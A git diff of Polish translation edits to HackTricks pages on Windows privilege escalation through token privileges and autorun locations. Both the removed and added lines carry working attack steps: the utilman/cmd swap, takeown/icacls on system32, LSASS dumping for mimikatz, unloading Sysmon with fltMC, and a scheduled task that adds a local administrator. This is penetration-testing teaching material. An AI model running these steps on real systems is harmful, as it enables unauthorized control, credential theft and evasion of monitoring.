-Uprawnienie do **dostępu do zapisu** do dowolnego pliku systemowego, niezależnie od listy kontroli dostępu (ACL) pliku, jest zapewniane przez to uprawnienie. Otwiera to liczne możliwości eskalacji, w tym możliwość **modyfikacji usług**, przeprowadzania DLL Hijacking oraz ustawiania **debuggerów** za pomocą opcji wykonania pliku obrazu, wśród różnych innych technik.
+To uprawnienie zapewnia **dostęp do zapisu** do dowolnego pliku systemowego, niezależnie od listy kontroli dostępu (ACL) pliku. Otwiera to wiele możliwości eskalacji, w tym możliwość **modyfikacji usług**, przeprowadzania DLL Hijacking i ustawiania **debuggerów** za pomocą opcji wykonania pliku obrazu, wśród różnych innych technik.
 
 ### SeCreateTokenPrivilege
 
@@ -60,11 +60,11 @@ SeCreateTokenPrivilege to potężne uprawnienie, szczególnie przydatne, gdy uż
 
 - **Impersonacja bez SeImpersonatePrivilege:** Możliwe jest wykorzystanie SeCreateTokenPrivilege do EoP poprzez impersonację tokenów w określonych warunkach.
 - **Warunki dla impersonacji tokenów:** Udana impersonacja wymaga, aby docelowy token należał do tego samego użytkownika i miał poziom integralności mniejszy lub równy poziomowi integralności procesu próbującego impersonacji.
-- **Tworzenie i modyfikacja tokenów impersonacyjnych:** Użytkownicy mogą tworzyć token impersonacyjny i wzbogacać go, dodając SID grupy z uprawnieniami (Security Identifier).
+- **Tworzenie i modyfikacja tokenów impersonacyjnych:** Użytkownicy mogą tworzyć token impersonacyjny i wzbogacać go, dodając SID (identyfikator zabezpieczeń) grupy z uprawnieniami.
 
 ### SeLoadDriverPrivilege
 
-To uprawnienie pozwala na **ładowanie i odładowywanie sterowników urządzeń** poprzez utworzenie wpisu w rejestrze z określonymi wartościami dla `ImagePath` i `Type`. Ponieważ bezpośredni dostęp do zapisu do `HKLM` (HKEY_LOCAL_MACHINE) jest ograniczony, należy zamiast tego wykorzystać `HKCU` (HKEY_CURRENT_USER). Jednak aby `HKCU` było rozpoznawane przez jądro do konfiguracji sterowników, należy przestrzegać określonej ścieżki.
+To uprawnienie pozwala na **ładowanie i odładowywanie sterowników urządzeń** poprzez utworzenie wpisu w rejestrze z określonymi wartościami dla `ImagePath` i `Type`. Ponieważ bezpośredni dostęp do zapisu w `HKLM` (HKEY_LOCAL_MACHINE) jest ograniczony, należy zamiast tego wykorzystać `HKCU` (HKEY_CURRENT_USER). Jednak aby `HKCU` było rozpoznawane przez jądro do konfiguracji sterownika, należy przestrzegać określonej ścieżki.
 
 Ta ścieżka to `\Registry\User\\System\CurrentControlSet\Services\DriverName`, gdzie `` to identyfikator względny bieżącego użytkownika. Wewnątrz `HKCU` należy utworzyć całą tę ścieżkę i ustawić dwie wartości:
 
@@ -88,11 +88,11 @@ reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
 reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
 reg.CloseKey(key)
 ```
-Więcej sposobów na nadużycie tego przywileju w [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
+Więcej sposobów na nadużycie tego uprawnienia w [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
 
 ### SeTakeOwnershipPrivilege
 
-Jest to podobne do **SeRestorePrivilege**. Jego główną funkcją jest umożliwienie procesowi **przyjęcia własności obiektu**, omijając wymóg wyraźnego dostępu dyskrecjonalnego poprzez przyznanie praw dostępu WRITE_OWNER. Proces polega najpierw na zabezpieczeniu własności zamierzonego klucza rejestru w celu pisania, a następnie na zmianie DACL, aby umożliwić operacje zapisu.
+To jest podobne do **SeRestorePrivilege**. Jego główną funkcją jest umożliwienie procesowi **przyjęcia własności obiektu**, omijając wymóg wyraźnego dostępu dyskrecjonalnego poprzez przyznanie praw dostępu WRITE_OWNER. Proces polega najpierw na zabezpieczeniu własności zamierzonego klucza rejestru w celu pisania, a następnie na zmianie DACL, aby umożliwić operacje zapisu.
 ```bash
 takeown /f 'C:\some\file.txt' #Now the file is owned by you
 icacls 'C:\some\file.txt' /grant :F #Now you have full access
@@ -151,15 +151,15 @@ Lub **skrypt** osadzony w tym [**poście**](https://www.leeholmes.com/adjusting-
 
 ## Tabela
 
-Pełna ściągawka uprawnień tokenów znajduje się na [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), podsumowanie poniżej wymieni tylko bezpośrednie sposoby na wykorzystanie uprawnienia do uzyskania sesji administratora lub odczytu wrażliwych plików.
+Pełna ściągawka uprawnień tokenów znajduje się pod adresem [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), podsumowanie poniżej wymieni tylko bezpośrednie sposoby na wykorzystanie uprawnienia do uzyskania sesji administratora lub odczytu wrażliwych plików.
 
 | Uprawnienie                | Wpływ      | Narzędzie               | Ścieżka wykonania                                                                                                                                                                                                                                                                                                                                     | Uwagi                                                                                                                                                                                                                                                                                                                        |
 | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| **`SeAssignPrimaryToken`** | _**Admin**_ | narzędzie firm trzecich | _"Pozwoliłoby to użytkownikowi na naśladowanie tokenów i privesc do systemu nt przy użyciu narzędzi takich jak potato.exe, rottenpotato.exe i juicypotato.exe"_                                                                                                                                                                                                      | Dziękuję [Aurélien Chalot](https://twitter.com/Defte_) za aktualizację. Postaram się wkrótce przeformułować to na coś bardziej przypominającego przepis.                                                                                                                                                                                         |
+| **`SeAssignPrimaryToken`** | _**Admin**_ | narzędzie firm trzecich | _"Pozwoliłoby to użytkownikowi na podszywanie się pod tokeny i podniesienie uprawnień do systemu nt przy użyciu narzędzi takich jak potato.exe, rottenpotato.exe i juicypotato.exe"_                                                                                                                                                              | Dziękuję [Aurélien Chalot](https://twitter.com/Defte_) za aktualizację. Postaram się wkrótce przeformułować to na coś bardziej przypominającego przepis.                                                                                                                                                                   |
 | **`SeBackup`**             | **Zagrożenie**  | _**Wbudowane polecenia**_ | Odczytaj wrażliwe pliki za pomocą `robocopy /b`                                                                                                                                                                                                                                                                                                             | 
- Może być bardziej interesujące, jeśli możesz odczytać %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (i robocopy) nie są pomocne w przypadku otwartych plików.

- Robocopy wymaga zarówno SeBackup, jak i SeRestore, aby działać z parametrem /b.
                                                                      |
 | **`SeCreateToken`**        | _**Admin**_ | narzędzie firm trzecich | Utwórz dowolny token, w tym prawa lokalnego administratora za pomocą `NtCreateToken`.                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
 | **`SeDebug`**              | _**Admin**_ | **PowerShell**          | Duplikuj token `lsass.exe`.                                                                                                                                                                                                                                                                                                                   | Skrypt do znalezienia na [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)                                                                                                                                                                                                         |
-| **`SeLoadDriver`**         | _**Admin**_ | narzędzie firm trzecich | 
1. Załaduj wadliwy sterownik jądra, taki jak szkg64.sys
2. Wykorzystaj lukę w sterowniku

Alternatywnie, uprawnienie może być użyte do odłączenia sterowników związanych z bezpieczeństwem za pomocą wbudowanego polecenia ftlMC. tzn.: fltMC sysmondrv
                                                                           | 
1. Luka w szkg64 jest wymieniona jako CVE-2018-15732
2. szkg64 kod exploita został stworzony przez Parvez Anwar
 |
+| **`SeLoadDriver`**         | _**Admin**_ | narzędzie firm trzecich | 
1. Załaduj wadliwy sterownik jądra, taki jak szkg64.sys
2. Wykorzystaj lukę w sterowniku

Alternatywnie, uprawnienie może być użyte do odinstalowania sterowników związanych z bezpieczeństwem za pomocą wbudowanego polecenia ftlMC, tj.: fltMC sysmondrv
                                                                           | 
1. Luka w szkg64 jest wymieniona jako CVE-2018-15732
2. szkg64 kod exploitu został stworzony przez Parvez Anwar
 |
 | **`SeRestore`**            | _**Admin**_ | **PowerShell**          | 
1. Uruchom PowerShell/ISE z obecnym uprawnieniem SeRestore.
2. Włącz uprawnienie za pomocą Enable-SeRestorePrivilege.
3. Zmień nazwę utilman.exe na utilman.old
4. Zmień nazwę cmd.exe na utilman.exe
5. Zablokuj konsolę i naciśnij Win+U
 | 
Atak może być wykryty przez niektóre oprogramowanie antywirusowe.
Alternatywna metoda polega na zastąpieniu binariów usług przechowywanych w "Program Files" przy użyciu tych samych uprawnień
                                                                                                                                                            |
 | **`SeTakeOwnership`**      | _**Admin**_ | _**Wbudowane polecenia**_ | 
1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Zmień nazwę cmd.exe na utilman.exe
4. Zablokuj konsolę i naciśnij Win+U
                                                                                                                                       | 
Atak może być wykryty przez niektóre oprogramowanie antywirusowe.
Alternatywna metoda polega na zastąpieniu binariów usług przechowywanych w "Program Files" przy użyciu tych samych uprawnień.
                                                                                                                                                           |
 | **`SeTcb`**                | _**Admin**_ | narzędzie firm trzecich | 
Manipuluj tokenami, aby mieć włączone prawa lokalnego administratora. Może wymagać SeImpersonate.
Do weryfikacji.
                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
@@ -167,6 +167,6 @@ Pełna ściągawka uprawnień tokenów znajduje się na [https://github.com/gtwo
 ## Odniesienie
 
 - Zobacz tę tabelę definiującą tokeny Windows: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
-- Zobacz [**ten dokument**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) dotyczący privesc z tokenami.
+- Zobacz [**ten dokument**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) dotyczący podnoszenia uprawnień za pomocą tokenów.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
index 00f9ae0b2..dc1b52881 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
@@ -64,7 +64,7 @@ SeCreateTokenPrivilege to potężne uprawnienie, szczególnie przydatne, gdy uż
 
 ### SeLoadDriverPrivilege
 
-To uprawnienie pozwala na **ładowanie i odładowywanie sterowników urządzeń** poprzez utworzenie wpisu w rejestrze z określonymi wartościami dla `ImagePath` i `Type`. Ponieważ bezpośredni dostęp do zapisu w `HKLM` (HKEY_LOCAL_MACHINE) jest ograniczony, należy zamiast tego wykorzystać `HKCU` (HKEY_CURRENT_USER). Jednak aby `HKCU` było rozpoznawane przez jądro do konfiguracji sterownika, należy przestrzegać określonej ścieżki.
+To uprawnienie pozwala na **ładowanie i odładowywanie sterowników urządzeń** poprzez utworzenie wpisu w rejestrze z określonymi wartościami dla `ImagePath` i `Type`. Ponieważ bezpośredni dostęp do zapisu do `HKLM` (HKEY_LOCAL_MACHINE) jest ograniczony, należy zamiast tego wykorzystać `HKCU` (HKEY_CURRENT_USER). Jednak aby `HKCU` było rozpoznawane przez jądro do konfiguracji sterownika, należy przestrzegać określonej ścieżki.
 
 Ta ścieżka to `\Registry\User\\System\CurrentControlSet\Services\DriverName`, gdzie `` to identyfikator względny bieżącego użytkownika. Wewnątrz `HKCU` należy utworzyć tę całą ścieżkę i ustawić dwie wartości:
 
@@ -92,7 +92,7 @@ Więcej sposobów na nadużycie tego przywileju w [https://www.ired.team/offensi
 
 ### SeTakeOwnershipPrivilege
 
-Jest to podobne do **SeRestorePrivilege**. Jego główną funkcją jest umożliwienie procesowi **przyjęcia własności obiektu**, omijając wymóg wyraźnego dostępu dyskrecjonalnego poprzez przyznanie praw dostępu WRITE_OWNER. Proces polega najpierw na zabezpieczeniu własności zamierzonego klucza rejestru w celu zapisu, a następnie na zmianie DACL, aby umożliwić operacje zapisu.
+Jest to podobne do **SeRestorePrivilege**. Jego główną funkcją jest umożliwienie procesowi **przyjęcia własności obiektu**, omijając wymóg wyraźnego dostępu dyskrecjonalnego poprzez przyznanie praw dostępu WRITE_OWNER. Proces polega najpierw na zabezpieczeniu własności zamierzonego klucza rejestru w celu pisania, a następnie na zmianie DACL, aby umożliwić operacje zapisu.
 ```bash
 takeown /f 'C:\some\file.txt' #Now the file is owned by you
 icacls 'C:\some\file.txt' /grant :F #Now you have full access
@@ -114,7 +114,7 @@ Ten przywilej pozwala na **debugowanie innych procesów**, w tym na odczyt i zap
 
 #### Zrzut pamięci
 
-Możesz użyć [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) z [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) do **złapania pamięci procesu**. W szczególności dotyczy to procesu **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, który jest odpowiedzialny za przechowywanie poświadczeń użytkowników po pomyślnym zalogowaniu się użytkownika do systemu.
+Możesz użyć [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) z [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite), aby **złapać pamięć procesu**. W szczególności dotyczy to procesu **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, który jest odpowiedzialny za przechowywanie poświadczeń użytkowników po pomyślnym zalogowaniu się użytkownika do systemu.
 
 Następnie możesz załadować ten zrzut w mimikatz, aby uzyskać hasła:
 ```
@@ -146,7 +146,7 @@ Dodatkowo, proces opisany w [tym artykule na Medium](https://medium.com/@raphael
 ```
 whoami /priv
 ```
-**Tokeny, które pojawiają się jako Wyłączone**, mogą być włączone, możesz faktycznie wykorzystać tokeny _Włączone_ i _Wyłączone_.
+**Tokeny, które pojawiają się jako Wyłączone**, mogą być włączone, możesz faktycznie wykorzystać _Włączone_ i _Wyłączone_ tokeny.
 
 ### Włącz wszystkie tokeny
 
@@ -159,7 +159,7 @@ Lub **skrypt** osadzony w tym [**poście**](https://www.leeholmes.com/adjusting-
 
 ## Tabela
 
-Pełna ściągawka uprawnień tokenów znajduje się pod adresem [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), podsumowanie poniżej wymieni tylko bezpośrednie sposoby na wykorzystanie uprawnienia do uzyskania sesji administratora lub odczytu wrażliwych plików.
+Pełna ściągawka uprawnień tokenów znajduje się pod adresem [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), poniższe podsumowanie wymieni tylko bezpośrednie sposoby na wykorzystanie uprawnienia do uzyskania sesji administratora lub odczytu wrażliwych plików.
 
 | Uprawnienie                | Wpływ      | Narzędzie               | Ścieżka wykonania                                                                                                                                                                                                                                                                                                                                     | Uwagi                                                                                                                                                                                                                                                                                                                        |
 | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
@@ -167,9 +167,9 @@ Pełna ściągawka uprawnień tokenów znajduje się pod adresem [https://github
 | **`SeBackup`**             | **Zagrożenie**  | _**Wbudowane polecenia**_ | Odczytaj wrażliwe pliki za pomocą `robocopy /b`                                                                                                                                                                                                                                                                                                             | 
- Może być bardziej interesujące, jeśli możesz odczytać %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (i robocopy) nie są pomocne w przypadku otwartych plików.

- Robocopy wymaga zarówno SeBackup, jak i SeRestore, aby działać z parametrem /b.
                                                                      |
 | **`SeCreateToken`**        | _**Admin**_ | narzędzie firm trzecich | Utwórz dowolny token, w tym prawa lokalnego administratora za pomocą `NtCreateToken`.                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
 | **`SeDebug`**              | _**Admin**_ | **PowerShell**          | Duplikuj token `lsass.exe`.                                                                                                                                                                                                                                                                                                                   | Skrypt do znalezienia na [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)                                                                                                                                                                                                         |
-| **`SeLoadDriver`**         | _**Admin**_ | narzędzie firm trzecich | 
1. Załaduj wadliwy sterownik jądra, taki jak szkg64.sys
2. Wykorzystaj lukę w sterowniku

Alternatywnie, uprawnienie może być użyte do odinstalowania sterowników związanych z bezpieczeństwem za pomocą wbudowanego polecenia ftlMC, tj.: fltMC sysmondrv
                                                                           | 
1. Luka w szkg64 jest wymieniona jako CVE-2018-15732
2. szkg64 kod exploitu został stworzony przez Parvez Anwar
 |
-| **`SeRestore`**            | _**Admin**_ | **PowerShell**          | 
1. Uruchom PowerShell/ISE z obecnym uprawnieniem SeRestore.
2. Włącz uprawnienie za pomocą Enable-SeRestorePrivilege.
3. Zmień nazwę utilman.exe na utilman.old
4. Zmień nazwę cmd.exe na utilman.exe
5. Zablokuj konsolę i naciśnij Win+U
 | 
Atak może być wykryty przez niektóre oprogramowanie antywirusowe.
Alternatywna metoda polega na zastąpieniu binarnych plików usług przechowywanych w "Program Files" przy użyciu tych samych uprawnień
                                                                                                                                                            |
-| **`SeTakeOwnership`**      | _**Admin**_ | _**Wbudowane polecenia**_ | 
1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Zmień nazwę cmd.exe na utilman.exe
4. Zablokuj konsolę i naciśnij Win+U
                                                                                                                                       | 
Atak może być wykryty przez niektóre oprogramowanie antywirusowe.
Alternatywna metoda polega na zastąpieniu binarnych plików usług przechowywanych w "Program Files" przy użyciu tych samych uprawnień.
                                                                                                                                                           |
+| **`SeLoadDriver`**         | _**Admin**_ | narzędzie firm trzecich | 
1. Załaduj wadliwy sterownik jądra, taki jak szkg64.sys
2. Wykorzystaj lukę w sterowniku

Alternatywnie, uprawnienie może być użyte do odinstalowania sterowników związanych z bezpieczeństwem za pomocą wbudowanego polecenia ftlMC, tj.: fltMC sysmondrv
                                                                           | 
1. Luka w szkg64 jest wymieniona jako CVE-2018-15732
2. szkg64 kod exploita został stworzony przez Parvez Anwar
 |
+| **`SeRestore`**            | _**Admin**_ | **PowerShell**          | 
1. Uruchom PowerShell/ISE z obecnym uprawnieniem SeRestore.
2. Włącz uprawnienie za pomocą Enable-SeRestorePrivilege.
3. Zmień nazwę utilman.exe na utilman.old
4. Zmień nazwę cmd.exe na utilman.exe
5. Zablokuj konsolę i naciśnij Win+U
 | 
Atak może być wykryty przez niektóre oprogramowanie antywirusowe.
Alternatywna metoda polega na zastąpieniu binariów usług przechowywanych w "Program Files" przy użyciu tych samych uprawnień.
                                                                                                                                                            |
+| **`SeTakeOwnership`**      | _**Admin**_ | _**Wbudowane polecenia**_ | 
1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Zmień nazwę cmd.exe na utilman.exe
4. Zablokuj konsolę i naciśnij Win+U
                                                                                                                                       | 
Atak może być wykryty przez niektóre oprogramowanie antywirusowe.
Alternatywna metoda polega na zastąpieniu binariów usług przechowywanych w "Program Files" przy użyciu tych samych uprawnień.
                                                                                                                                                           |
 | **`SeTcb`**                | _**Admin**_ | narzędzie firm trzecich | 
Manipuluj tokenami, aby mieć włączone prawa lokalnego administratora. Może wymagać SeImpersonate.
Do weryfikacji.
                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
 
 ## Odniesienie
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
index bf9f11aa2..165a912e6 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
@@ -2,8 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-
-
 ## WMIC
 
 **Wmic** może być używany do uruchamiania programów przy **uruchamianiu**. Zobacz, które binaria są zaprogramowane do uruchomienia przy starcie za pomocą:
@@ -24,9 +22,9 @@ Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,Tas
 #You can also write that content on a bat file that is being executed by a scheduled task
 schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"
 ```
-## Folder
+## Foldery
 
-Wszystkie pliki binarne znajdujące się w **folderach uruchamiania będą wykonywane przy starcie**. Typowe foldery uruchamiania to te wymienione poniżej, ale folder uruchamiania jest wskazany w rejestrze. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
+Wszystkie pliki wykonywalne znajdujące się w **folderach uruchamiania będą wykonywane przy starcie**. Typowe foldery uruchamiania to te wymienione poniżej, ale folder uruchamiania jest wskazany w rejestrze. [Przeczytaj to, aby dowiedzieć się gdzie.](privilege-escalation-with-autorun-binaries.md#startup-path)
 ```bash
 dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
 dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@@ -38,7 +36,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
 ## Rejestr
 
 > [!NOTE]
-> [Uwaga stąd](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): Wpis rejestru **Wow6432Node** wskazuje, że używasz 64-bitowej wersji systemu Windows. System operacyjny używa tego klucza, aby wyświetlić oddzielny widok HKEY_LOCAL_MACHINE\SOFTWARE dla aplikacji 32-bitowych działających na 64-bitowych wersjach systemu Windows.
+> [Uwaga stąd](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): Wpis rejestru **Wow6432Node** wskazuje, że używasz 64-bitowej wersji systemu Windows. System operacyjny wykorzystuje ten klucz do wyświetlania oddzielnego widoku HKEY_LOCAL_MACHINE\SOFTWARE dla aplikacji 32-bitowych działających na 64-bitowych wersjach systemu Windows.
 
 ### Uruchomienia
 
@@ -56,7 +54,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
 - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
 - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
 
-Klucze rejestru znane jako **Run** i **RunOnce** są zaprojektowane do automatycznego uruchamiania programów za każdym razem, gdy użytkownik loguje się do systemu. Linia poleceń przypisana jako wartość danych klucza jest ograniczona do 260 znaków lub mniej.
+Klucze rejestru znane jako **Run** i **RunOnce** są zaprojektowane do automatycznego uruchamiania programów za każdym razem, gdy użytkownik loguje się do systemu. Wartość danych przypisana do klucza jest ograniczona do 260 znaków lub mniej.
 
 **Uruchomienia usług** (mogą kontrolować automatyczne uruchamianie usług podczas rozruchu):
 
@@ -172,7 +170,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVers
 Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
 ```
 > [!NOTE]
-> Jeśli możesz nadpisać wartość rejestru lub binarną, będziesz w stanie podnieść uprawnienia.
+> Jeśli możesz nadpisać wartość rejestru lub binarny plik, będziesz w stanie podnieść uprawnienia.
 
 ### Ustawienia polityki
 
@@ -200,9 +198,9 @@ Kroki do utworzenia opcji rozruchu dla automatycznego uruchamiania w "Trybie awa
 4. Zapisz zmiany w `boot.ini`.
 5. Przywróć oryginalne atrybuty pliku: `attrib c:\boot.ini +r +s +h`
 
-- **Eksploatacja 1:** Zmiana klucza rejestru **AlternateShell** pozwala na skonfigurowanie niestandardowego powłoki poleceń, co może prowadzić do nieautoryzowanego dostępu.
+- **Eksploatacja 1:** Zmiana klucza rejestru **AlternateShell** pozwala na skonfigurowanie niestandardowego powłoki poleceń, potencjalnie dla nieautoryzowanego dostępu.
 - **Eksploatacja 2 (Uprawnienia do zapisu w PATH):** Posiadanie uprawnień do zapisu w dowolnej części zmiennej systemowej **PATH**, szczególnie przed `C:\Windows\system32`, pozwala na uruchomienie niestandardowego `cmd.exe`, który może być tylnym wejściem, jeśli system zostanie uruchomiony w trybie awaryjnym.
-- **Eksploatacja 3 (Uprawnienia do zapisu w PATH i boot.ini):** Dostęp do zapisu w `boot.ini` umożliwia automatyczne uruchamianie w trybie awaryjnym, co ułatwia nieautoryzowany dostęp przy następnym uruchomieniu.
+- **Eksploatacja 3 (Uprawnienia do zapisu w PATH i boot.ini):** Dostęp do zapisu w `boot.ini` umożliwia automatyczne uruchamianie w trybie awaryjnym, ułatwiając nieautoryzowany dostęp przy następnym uruchomieniu.
 
 Aby sprawdzić bieżące ustawienie **AlternateShell**, użyj tych poleceń:
 ```bash
@@ -225,12 +223,12 @@ W obrębie tych kluczy istnieje wiele podkluczy, z których każdy odpowiada za
 - **IsInstalled:**
 - `0` oznacza, że polecenie komponentu nie zostanie wykonane.
 - `1` oznacza, że polecenie zostanie wykonane raz dla każdego użytkownika, co jest domyślnym zachowaniem, jeśli wartość `IsInstalled` jest nieobecna.
-- **StubPath:** Definiuje polecenie, które ma być wykonane przez Active Setup. Może to być dowolna poprawna linia poleceń, na przykład uruchomienie `notepad`.
+- **StubPath:** Definiuje polecenie, które ma być wykonane przez Active Setup. Może to być dowolne poprawne polecenie wiersza poleceń, takie jak uruchomienie `notepad`.
 
 **Wskazówki dotyczące bezpieczeństwa:**
 
 - Modyfikacja lub zapis do klucza, w którym **`IsInstalled`** jest ustawione na `"1"` z określonym **`StubPath`**, może prowadzić do nieautoryzowanego wykonania polecenia, potencjalnie w celu eskalacji uprawnień.
-- Zmiana pliku binarnego, do którego odnosi się jakakolwiek wartość **`StubPath`**, również może osiągnąć eskalację uprawnień, pod warunkiem posiadania wystarczających uprawnień.
+- Zmiana pliku binarnego, do którego odnosi się jakakolwiek wartość **`StubPath`**, może również osiągnąć eskalację uprawnień, pod warunkiem posiadania wystarczających uprawnień.
 
 Aby sprawdzić konfiguracje **`StubPath`** w komponentach Active Setup, można użyć następujących poleceń:
 ```bash
@@ -239,22 +237,22 @@ reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v Stub
 reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
 reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
 ```
-### Obiekty Pomocnicze Przeglądarki
+### Browser Helper Objects
 
-### Przegląd Obiektów Pomocniczych Przeglądarki (BHO)
+### Overview of Browser Helper Objects (BHOs)
 
-Obiekty Pomocnicze Przeglądarki (BHO) to moduły DLL, które dodają dodatkowe funkcje do Internet Explorera firmy Microsoft. Ładują się do Internet Explorera i Eksploratora Windows przy każdym uruchomieniu. Jednak ich wykonanie można zablokować, ustawiając klucz **NoExplorer** na 1, co uniemożliwia ich ładowanie z instancjami Eksploratora Windows.
+Browser Helper Objects (BHOs) to moduły DLL, które dodają dodatkowe funkcje do Internet Explorera firmy Microsoft. Ładują się do Internet Explorera i Eksploratora Windows przy każdym uruchomieniu. Jednak ich wykonanie można zablokować, ustawiając klucz **NoExplorer** na 1, co uniemożliwia ich ładowanie z instancjami Eksploratora Windows.
 
-BHO są kompatybilne z Windows 10 za pośrednictwem Internet Explorera 11, ale nie są obsługiwane w Microsoft Edge, domyślnej przeglądarce w nowszych wersjach Windows.
+BHOs są kompatybilne z Windows 10 za pośrednictwem Internet Explorera 11, ale nie są obsługiwane w Microsoft Edge, domyślnym przeglądarki w nowszych wersjach Windows.
 
-Aby zbadać BHO zarejestrowane w systemie, można sprawdzić następujące klucze rejestru:
+Aby zbadać BHOs zarejestrowane w systemie, można sprawdzić następujące klucze rejestru:
 
 - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
 - `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
 
 Każdy BHO jest reprezentowany przez swój **CLSID** w rejestrze, który służy jako unikalny identyfikator. Szczegółowe informacje o każdym CLSID można znaleźć pod `HKLM\SOFTWARE\Classes\CLSID\{}`.
 
-Aby zapytać o BHO w rejestrze, można wykorzystać następujące polecenia:
+Aby zapytać o BHOs w rejestrze, można wykorzystać następujące polecenia:
 ```bash
 reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
 reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
@@ -293,7 +291,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
 ```
 ## SysInternals
 
